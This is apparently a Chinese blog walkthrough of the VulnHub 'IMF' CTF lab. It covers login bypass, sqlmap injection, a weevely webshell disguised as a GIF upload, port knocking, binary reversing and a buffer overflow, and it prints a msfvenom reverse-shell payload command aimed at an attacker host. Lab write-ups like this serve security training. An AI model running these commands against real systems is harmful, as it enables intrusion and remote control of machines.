本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
靶机地址:https://www.vulnhub.com/entry/imf-1,162/
靶机难度:中级(CTF)
靶机发布日期:2016 年 10 月 30 日
靶机描述:欢迎使用 “IMF”,这是我的第一个 Boot2Root 虚拟机。IMF 是一个情报机构,您必须骇入所有标志并最终扎根。这些标志起步容易,随着您的前进而变得越来越难。每个标志都包含下一个标志的提示。我希望您喜欢这个虚拟机并学到一些东西。
目标:得到 root 权限 & 找到四个 flag.txt
请注意:对于所有这些计算机,我已经使用 VMware 运行下载的计算机。我将使用 Kali Linux 作为解决该 CTF 的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
我们在 VM 中需要确定攻击目标的 IP 地址,需要使用 nmap 获取目标 IP 地址:
我们已经找到了此次 CTF 目标计算机 IP 地址:
192.168.182.151
nmap 扫描发现,80 端口上运行着 Apache,利用 IP 地址直接访问网页...
这边看到有三个选项卡,在第三个 contact us 源代码找到了 flag1 信息
flag1{YWxsdGhlZmlsZXM=}
这是一个 base64 值,用 bp 进行破解(最近时间紧迫,就不介绍很详细了,直接过不懂得直接来找我)
解码值:
allthefiles
继续搜索看看还有 base64 值吗,搜到还有,继续解码
eVlYUnZjZz09fQ==
这里解码不对,在回去仔细看发现是连在一起的... 继续解码
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
解码值:
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
一环套一环,还是 base 值,继续解码
aW1mYWRtaW5pc3RyYXRvcg==
解码值:imfadministrator
前面flag1解码值:allthefiles
二、web 渗透
访问目录试试
imfadministrator 目录可以访问,没用用户名密码
查看源代码,我使用 user/pass 登陆试试
无效的用户名,没信息了,回到最初页面看看 contact us 里还有啥信息
这里有三个用户:rmichaels、akeith、estone
这边下面是另外一种新知识
用 bp 去拦截他请求的数据包,在把数据越过检测
输入一个随意的账号密码
我尝试发送一个空数组作为密码,通过将密码字段名称更改为 pass[],但是 regex 函数无法通过
这边用 admin、administrator、imfadministrator 作为账号返回数值都和测试账号一样
这边尝试用 rmichaels 用户,账号是对的,密码作为一个空数组越过了,获得了里面内容 flag3
flag3 {Y29udGludWVUT2Ntcw==}
解码:continueTOcms
通过登录后,继续查看信息
继续用 php 执行 SQL 注入攻击(可以看下方链接学习更多!!)
https://stackoverflow.com/questions/1885979/php-get-variable-array-injection
我们需要找到底层目录,将截获的代码保存到本地中,进行 SQL 注入攻击
命令:sqlmap -r dayusql --risk=3 --level=5 --dbs --dump --batch --threads=10
查看到底层有 jpg 文件,将他下载下来查看信息
/images/whiteboard.jpg
发现有个二维码,666,手机微信扫一扫发现 flag4(你可以用手机试试)
flag4{dXBsb2Fkcjk0Mi5waHA=}
解码后:uploadr942.php
三、文件上传提权
发现这里可以上传文件
这边使用 weevely 来进行提权:
https://www.freebuf.com/sectool/39765.html
一般只能上传 jpg、png、gif 文件,这边我开始自己制作
搜索先用 weevely 生成 php 文件
将生成的 dayujiayou.php 代码经过拦截输入到 image 中
改名为 gif 文件
随意添加 GIF 数值!!(制作木马)
成功上传,上传完后查看源代码!!
返回值:43384891653d(木马值)
weevely http://192.168.182.151/imfadministrator/uploads/43384891653d.gif jesse
使用 weevely 链接木马,成功提到低权限,并查看到 flag5 信息
flag5{YWdlbnRzZXJ2aWNlcw==}
解码:agentservices
这里也可以用 metasploit 提权
flag5 是代理服务的意思那就跟着这条思路继续往下走....
find / -name agent &>/dev/null
/usr/local/bin/agent
这使用 >/dev/null 把错误信息重定向到黑洞中,只留下正确的信息回显,这时候我们就能快速而准确的找到我们需要的文件了...
发现有代理在执行
netstat 查看端口 7788 也有代理在执行
到 / usr/local/bin 目录下查看 access_codes 发现端口序列:7482 8279 9467
这边使用 knock 敲门(基于 python3 就是撬开端口的意思)
没有的先安装
git clone https://github.com/grongor/knock.git
安装完成
这边正常敲开了靶机的 7788 端口
现在不知道这 ID 是啥
这边需要二进制文件进行反向工程并获取代理程序 ID...(真难,我这里理解原理用了好多时间...)
前面我们运行 / usr/local/bin 目录下的 agent 会需要输入 ID,这边我们从 agent 文件下手
先把他传到 kali 本地
file_download /usr/local/bin/agent /root/agent
这边查看到 agent 是 ELF32 位文件,将文件提权后执行,随意输入任意 ID,ID 不对退出后,使用 ltrace(跟踪进程调用库函数的情况)查看 agent 信息
随意输入 fgets(... 然后看到了 agent ID(这是有效的 ID,可以多次输入错误 ID 查看)
这边 ID 正确,其中选项 2 和 3 可以让用户输入内容,
如此看来是要通过缓冲区溢出 7788 端口的 agent 程序,这边用二进制修改 exp
为该程序创建一个利用程序,首先我们为 msfvenom 有效负载创建一个 shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.182.149 LPORT=6666 -f python -b "\x00\x0a\x0b"
利用二进制 py 修改 exp 进行提权
将文件写入本地 agentsploit.py 中
flag6{R2gwc3RQcm90MGMwbHM=}
Gh0stProt0c0ls
这台靶机,涵盖了知识量挺大的,从熟悉 BP、写木马、gdb 拆解、二进制、缓冲区溢出等等,花了太多时间,这一切都是值得滴,一定要自己手动做,手动写,你才知道当你熟悉了,这些不是特别难,加油!!!
由于我们已经成功得到 root 权限 & 找到 6 个 flag.txt,因此完成了 CTF 靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~
星球每月都有网络安全书籍赠送、各种渗透干货分享、小伙伴们深入交流
欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!
渗透攻防:
欢迎加入
大余安全
公众号